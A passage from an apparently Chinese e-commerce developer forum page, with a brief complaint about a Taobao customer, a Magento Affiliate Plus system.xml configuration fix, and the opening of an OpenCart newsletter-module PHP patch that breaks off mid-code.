淘宝上某个客户,在我们免费处理过同一个问题之后,自己没有明白,非要要求处理第二次,拿差评相威胁。 这种人的嘴脸就是找骂的!
淘宝上某个客户,在我们免费处理过同一个问题之后,自己没有明白,非要要求处理第二次,拿差评相威胁。
这种人的嘴脸就是找骂的!

1.jpg

2018-03-22_04.png

magestore Affiliate Plus扩展部分版本无Enable Substore feature后台设置项的解决方法

技术分享neasel 发表了文章 • 0 个评论 • 9 次浏览 • 2017-08-25 10:40 • 来自相关话题

此功能是4.3以后的就自带的,但是部分版本存在没有设置项的问题,请 修改 app/code/local/Magestore/Affiliateplus/etc/ 位置的system.xml文件 <gener ...查看全部

111.jpg

此功能是4.3以后的就自带的,但是部分版本存在没有设置项的问题,请
修改
app/code/local/Magestore/Affiliateplus/etc/
位置的system.xml文件
<general>
 <substore_config translate="label comment">
                            <label>Enable Substore feature</label>
                            <frontend_type>select</frontend_type>
                            <sort_order>80</sort_order>
                            <source_model>adminhtml/system_config_source_yesno</source_model>
                            <show_in_default>1</show_in_default>
                            <show_in_website>1</show_in_website>
                            <show_in_store>1</show_in_store>
                            <comment>Each affiliate users will have a their own substore on your Magento shop to refer more customers.</comment>
                        </substore_config>
</general>
 

完整system.xml代码为[code]<?xml version="1.0"?>
<config>
<tabs>
<magestore translate="label">
<label>Magestore Extension</label>
<sort_order>400</sort_order>
</magestore>
</tabs>

<sections>
<affiliateplus translate="label" module="affiliateplus">
<class>separator-top</class>
<label>Affiliate Plus</label>
<tab>magestore</tab>
<frontend_type>text</frontend_type>
<sort_order>300</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<groups>
<!--Changed By Adam 11/09/2014: Add User Guide to configuration page-->
<document_help translate="label">
<label>Document and Help</label>
<frontend_type>text</frontend_type>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!-- <affiliateplus_document_and_help translate="label">
<label>To find all userguides and useful documents of Affiliate Plus extension, please visit our Resources page.</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_resourcepage</frontend_model>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_document_and_help>-->
<affiliateplus_installation_guide_separator translate="label">
<label>Affiliate Plus Installation</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>5</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_installation_guide_separator>
<affiliateplus_installation_guide translate="label">
<label>Affiliate Plus Installation Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_affiliateplusinstallation</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_installation_guide>
<affiliateplus_plugin_installation_guide translate="label">
<label>Affiliate Plus Plugin Installation Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_affiliateplusplugininstallation</frontend_model>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_plugin_installation_guide>
<affiliateplus_user_guide_separator translate="label">
<label>Affiliate Plus User Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_user_guide_separator>
<affiliateplus_standard_user_guide translate="label">
<label>Affiliate Plus Standard User Guide</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_standard</frontend_model>
<sort_order>45</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</affiliateplus_standard_user_guide>
</fields>
</document_help>
<general translate="label">
<label>General Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!--Changed By Adam 28/07/2014-->
<enable translate="label">
<label>Enable Affiliate Plus Module</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</enable>
<show_affiliate_link_on_frontend translate="label">
<label>Show Affiliate link in frontend</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</show_affiliate_link_on_frontend>

<welcome_page translate="label comment">
<label>Welcome page using CMS</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_cms_page</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select Welcome page of your Affiliate system</comment>
</welcome_page>

<material_enable translate="label">
<label>Show Material page</label>
<frontend_type>select</frontend_type>
<sort_order>30</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</material_enable>
<material_page translate="label comment">
<label>Material page using CMS</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_cms_page</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<material_enable>1</material_enable>
</depends>
<comment>Create CMS page and manage there</comment>
</material_page>
<substore_config translate="label comment">
<label>Enable Substore feature</label>
<frontend_type>select</frontend_type>
<sort_order>80</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Each affiliate users will have a their own substore on your Magento shop to refer more customers.</comment>
</substore_config>
<expired_time translate="label comment">
<label>Cookie Expiration (Days)</label>
<frontend_type>text</frontend_type>
<sort_order>70</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>The number of days for admin to store cookies of this program. Affiliates and invited customers can receive commission and discount for purchases made through affiliate link within this time.</comment>
</expired_time>
</fields>
</general>
<account>
<label>Account Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>3</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<sign_up_separator translate="label">
<label>Affiliate Sign-up</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sign_up_separator>
<!--
hainh update add terms and conditions field, auto create aff config
21-07-2014
-->
<terms_and_conditions translate="label">
<label>Terms and Conditions</label>
<frontend_type>textarea</frontend_type>
<sort_order>8</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Leave blank for not showing Terms and Conditions</comment>
</terms_and_conditions>
<auto_create_affiliate translate="label">
<label>Auto create Affiliate account when Customer registers</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>0</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</auto_create_affiliate>
<!-- hainh end editing -->
<register_description translate="label">
<label>Sign-up description</label>
<frontend_type>textarea</frontend_type>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</register_description>
<required_address translate="label">
<label>Require address to sign up</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>12</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</required_address>
<required_paypal translate="label">
<label>Require PayPal email address to sign up</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>13</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</required_paypal>
<need_approved translate="label">
<label>Need admin's approval</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>14</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</need_approved>
<notification_after_signing_up translate="label">
<label>Notification after signing up</label>
<frontend_type>textarea</frontend_type>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</notification_after_signing_up>

<balance_separator translate="label">
<label>Account Balance</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</balance_separator>
<balance translate="label">
<label>Account Balance Scope</label>
<frontend_type>select</frontend_type>
<sort_order>30</sort_order>
<source_model>affiliateplus/system_config_source_scope</source_model>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment>Select website(s) on which affiliates can use commissions to purchase items.</comment>
</balance>
</fields>
</account>

<commission>
<label>Commission Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>4</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<calculate_separator translate="label">
<label>Pay per Sales/ Profit Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</calculate_separator>
<affiliate_type translate="label">
<label>Pay commission</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_type</source_model>
<sort_order>15</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</affiliate_type>
<commission_type translate="label">
<label>Commission Type</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_fixedpercentage</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</commission_type>
<commission translate="label">
<label>Commission Value</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</commission>

<use_secondary translate="label comment">
<label>Use different commission from 2nd order of a Customer</label>
<frontend_type>select</frontend_type>
<sort_order>35</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select "No" to apply the above commission to all orders</comment>
</use_secondary>
<secondary_type translate="label">
<label>Commission Type (from 2nd order)</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_fixedpercentage</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_type>
<secondary_commission translate="label">
<label>Commission Value (from 2nd order)</label>
<frontend_type>text</frontend_type>
<sort_order>45</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_commission>

<process_separator translate="label">
<label>Process Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>420</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</process_separator>

<!--Added By Adam (29/08/2016): allow affiliate to get commission from his purchase-->
<allow_affiliate_get_commission_from_his_purchase translate="label comment">
<label>Allow affiliate to get commission from his purchase</label>
<frontend_type>select</frontend_type>
<sort_order>425</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</allow_affiliate_get_commission_from_his_purchase>
<!--End code-->

<updatebalance_orderstatus translate="label">
<label>Add commission to affiliate account balance when order status is</label>
<frontend_type>select</frontend_type>
<sort_order>430</sort_order>
<source_model>affiliateplus/system_config_source_orderstatus</source_model> <!--Changed By Adam 22/08/2014-->
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>
If you select order's status as "processing", the commission just be calculate for the items that have been invoiced.
</comment>
</updatebalance_orderstatus>
<holding_period translate="label comment">
<label>Holding period</label>
<frontend_type>text</frontend_type>
<sort_order>435</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>(days). If empty or zero, affiliates' commission will not be hold back.</comment>
</holding_period>
<decrease_commission_creditmemo translate="label">
<label>Subtract commission from affiliate account balance when credit memo is created</label>
<frontend_type>select</frontend_type>
<sort_order>440</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</decrease_commission_creditmemo>
<cancel_transaction_orderstatus translate="label">
<label>Subtract commission from account balance when order status is</label>
<frontend_type>multiselect</frontend_type>
<sort_order>450</sort_order>
<source_model>adminhtml/system_config_source_order_status</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</cancel_transaction_orderstatus>

<lifetime_separator translate="label">
<label>Lifetime Sales Commission</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>400</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</lifetime_separator>
<life_time_sales translate="label comment">
<label>Lifetime Sales Commission</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_yesno</source_model>
<sort_order>410</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>0</show_in_website>
<show_in_store>0</show_in_store>
<comment><![CDATA[Customer first buys through affiliate A's link, though later clicks affiliate B's link and buys, this transaction will still be counted for affiliate A.]]></comment>
</life_time_sales>
</fields>
</commission>

<discount>
<label>Discount Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>5</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<allow_discount translate="label">
<label>When there's shopping cart discount, apply</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discount</source_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</allow_discount>

<discount_type translate="label">
<label>Discount Type</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discounttype</source_model>
<sort_order>20</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</discount_type>

<discount translate="label">
<label>Discount Value</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</discount>

<use_secondary translate="label comment">
<label>Use different discount from 2nd order of a Customer</label>
<frontend_type>select</frontend_type>
<sort_order>35</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Select "No" to apply above discount for all orders</comment>
</use_secondary>
<secondary_type translate="label">
<label>Discount Type (from 2nd order)</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_discounttype</source_model>
<sort_order>37</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_type>
<secondary_discount translate="label">
<label>Discount Value (from 2nd order)</label>
<frontend_type>text</frontend_type>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<depends>
<use_secondary>1</use_secondary>
</depends>
<comment></comment>
</secondary_discount>

<type_discount translate="label">
<label>Discount displayed</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_cartproduct</source_model>
<sort_order>50</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</type_discount>
</fields>
</discount>

<payment translate="label">
<label>Withdrawal Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<!--edit by blanka-->
<default_method translate="label">
<label>Default payment method</label>
<frontend_type>select</frontend_type>
<sort_order>112</sort_order>
<source_model>affiliateplus/system_config_source_payments</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Select default payment method when affiliates request payment]]></comment>
</default_method>
<!--end edit by blanka-->
<store_credit translate="label">
<label>Use commission as store credit</label>
<frontend_type>select</frontend_type>
<sort_order>112</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Allow affiliates to use commission to check out at your store]]></comment>
</store_credit>
<withdrawals translate="label">
<label>Allow withdrawal request</label>
<frontend_type>select</frontend_type>
<sort_order>117</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</withdrawals>

<payment_release translate="label">
<label>The minimum balance in affiliate account to request withdrawal</label>
<frontend_type>text</frontend_type>
<sort_order>120</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</payment_release>

<tax_class translate="label comment">
<label>Tax class for withdrawal</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_shipping_taxclass</source_model>
<sort_order>125</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</tax_class>

<!-- <tax_calc translate="label">
<label>Tax Calculation</label>
<frontend_type>select</frontend_type>
<sort_order>130</sort_order>
<source_model>affiliateplus/system_config_source_feetax</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>0</show_in_store>
<comment></comment>
</tax_calc> -->

<!-- <payment_method>
<label>Paypal Withdrawal method</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_paymentmethod</source_model>
<sort_order>130</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</payment_method>-->

<who_pay_fees translate="label">
<label>Who pays transaction fee</label>
<frontend_type>select</frontend_type>
<source_model>affiliateplus/system_config_source_whopayfees</source_model>
<sort_order>140</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</who_pay_fees>

<cancel_days translate="label">
<label>Allow affiliates to cancel withdrawal request within</label>
<frontend_type>text</frontend_type>
<sort_order>150</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>days. 0 or empty is unlimited.</comment>
</cancel_days>

<reduce_balance translate="label">
<label>Subtract affiliate account balance immediately when a withdrawal request is created</label>
<frontend_type>select</frontend_type>
<sort_order>135</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</reduce_balance>

</fields>
</payment>

<email translate="label">
<label>Email Configuration</label>
<frontend_type>text</frontend_type>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<fields>
<sender_contact_separator translate="label">
<label>System Email Sender</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>1</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sender_contact_separator>
<name_sender translate="label">
<label>Sender Name</label>
<frontend_type>text</frontend_type>
<sort_order>2</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</name_sender>
<email_sender translate="label">
<label>Sender Email</label>
<frontend_type>text</frontend_type>
<validate>validate-email</validate>
<sort_order>3</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment><![CDATA[Used to send emails from system to affiliates. If blank, affiliate system will use general store email address.]]></comment>
</email_sender>
<sign_up_separator translate="label">
<label>Affiliate Sign-up Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>10</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment></comment>
</sign_up_separator>
<is_sent_email_new_account translate="label">
<label>Send email to new affiliate</label>
<frontend_type>select</frontend_type>
<sort_order>20</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_new_account>
<new_account_email_template translate="label">
<label>Email template sent to newly registered affiliates</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>30</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_account_email_template>
<approved_account_email_template translate="label">
<label>Email template sent to newly approved affiliates</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>40</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</approved_account_email_template>
<is_sent_to_sales_new_account>
<label>Send email to admin when a new affiliate registers</label>
<frontend_type>select</frontend_type>
<sort_order>50</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_to_sales_new_account>
<new_account_sales_email_template>
<label>Email template sent to admin when a new affiliate registers</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>60</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_account_sales_email_template>

<transactions_separator translate="label">
<label>Transaction Process Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>70</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</transactions_separator>
<is_sent_email_account_new_transaction translate="label">
<label>Send email to affiliate when a transaction is created</label>
<frontend_type>select</frontend_type>
<sort_order>80</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_account_new_transaction>
<new_transaction_account_email_template translate="label">
<label>Email template sent to affiliate when a transaction is created</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>90</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_transaction_account_email_template>
<is_sent_email_sales_new_transaction translate="label">
<label>Send email to admin when a transaction is created</label>
<frontend_type>select</frontend_type>
<sort_order>100</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_sales_new_transaction>
<new_transaction_sales_email_template translate="label">
<label>Email template sent to admin when a transaction is created</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>110</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</new_transaction_sales_email_template>
<is_sent_email_account_updated_transaction translate="label">
<label>Send email to affiliates when transaction status is changed</label>
<frontend_type>select</frontend_type>
<sort_order>120</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Used when transaction is canceled, completed or reduced commission</comment>
</is_sent_email_account_updated_transaction>
<updated_transaction_account_email_template translate="label">
<label>Email template sent to affiliates when transaction status is changed</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>130</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>Applied when transaction is canceled or completed</comment>
</updated_transaction_account_email_template>
<reduce_commission_account_email_template translate="label">
<label>Email template sent to affiliates when commission of a transaction is reduced</label>
<frontend_type>select</frontend_type>
<source_model>adminhtml/system_config_source_email_template</source_model>
<sort_order>140</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</reduce_commission_account_email_template>
<!--add by viet email sent to affilate when transaction refund-->
<!-- <is_sent_email_refund translate="label">
<label>Send email to affiliate when a transaction refund</label>
<frontend_type>select</frontend_type>
<sort_order>146</sort_order>
<source_model>adminhtml/system_config_source_yesno</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</is_sent_email_refund>
<sent_mail_refund_email_template>
<label>Sent email to affiliate when a transaction refund</label>
<frontend_type>select</frontend_type>
<sort_order>148</sort_order>
<source_model>adminhtml/system_config_source_email_template</source_model>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
</sent_mail_refund_email_template>-->
<!--end by viet-->
<payment_separator translate="label">
<label>Withdrawal Email</label>
<frontend_type>label</frontend_type>
<frontend_model>affiliateplus/adminhtml_field_separator</frontend_model>
<sort_order>150</sort_order>
<show_in_default>1</show_in_default>
<show_in_website>1</show_in_website>
<show_in_store>1</show_in_store>
<comment>10px</comment>
</payment_separator>
<is_sent_email_sales_request_payment translate="label">
<label>Send email to admin when an affiliate requests withdrawal</label>

opencart 2.3.0.2中使用domino模板时newsletter无响应的问题及修复

技术问答neasel 发表了文章 • 0 个评论 • 14 次浏览 • 2017-05-02 22:29 • 来自相关话题

此补丁包此是修复此模板中的NEWSLETTER问题,及NEWSLETTERPOP 修改位于catalog/controller/extension/module/newslettersubscribe.php<?php cla ...查看全部
此补丁包此是修复此模板中的NEWSLETTER问题,及NEWSLETTERPOP
修改位于catalog/controller/extension/module/newslettersubscribe.php
<?php  
class ControllerExtensionModuleNewslettersubscribe extends Controller {
private $error = array();

public function index($setting) {

$this->language->load('extension/module/newslettersubscribe');
$this->document->addScript('catalog/view/javascript/opentheme/jquery.bpopup.min.js');
$this->document->addScript('catalog/view/javascript/opentheme/jquery.cookie.js');

$data['heading_title'] = $this->language->get('heading_title');
$data['newletter_lable'] = $this->language->get('newletter_lable');
$data['sub_newletter'] = $this->language->get('sub_newletter');

$data['entry_name'] = $this->language->get('entry_name');
$data['entry_email'] = $this->language->get('entry_email');
$data['entry_button'] = $this->language->get('entry_button');
$data['entry_unbutton'] = $this->language->get('entry_unbutton');
$data['option_unsubscribe'] = $this->config->get('option_unsubscribe');
$data['thickbox'] = $setting['newslettersubscribe_thickbox'];
$data['entry_show_again'] = $this->language->get('entry_show_again');
$data['text_subscribe'] = $this->language->get('text_subscribe');

$this->id = 'newslettersubscribe';
if(isset($setting['popup']) && $setting['popup']==1) {
return $this->load->view('extension/module/newsletterpopup', $data);
}else {
return $this->load->view('extension/module/newslettersubscribe', $data);
}


$this->load->model('account/newslettersubscribe');
//check db
$this->model_account_newslettersubscribe->check_db();
}

public function subscribe() {

$prefix_eval = "";

$this->language->load('extension/module/newslettersubscribe');

$this->load->model('account/newslettersubscribe');

if (isset($this->request->post['subscribe_email']) and filter_var($this->request->post['subscribe_email'],FILTER_VALIDATE_EMAIL)) {
$this->request->post['subscribe_email'] = $this->request->post['subscribe_email'];
$this->request->post['subscribe_name'] = $this->request->post['subscribe_name'];


if ($this->config->get('newslettersubscribe_registered') and $this->model_account_newslettersubscribe->checkRegisteredUser($this->request->post)) {

$this->model_account_newslettersubscribe->UpdateRegisterUsers($this->request->post,1);

echo('$("'.$prefix_eval.' #notification_normal").html("<div class=\"success\"> '.$this->language->get('subscribe').'</div>");$("'.$prefix_eval.' #subscribe")[0].reset();');


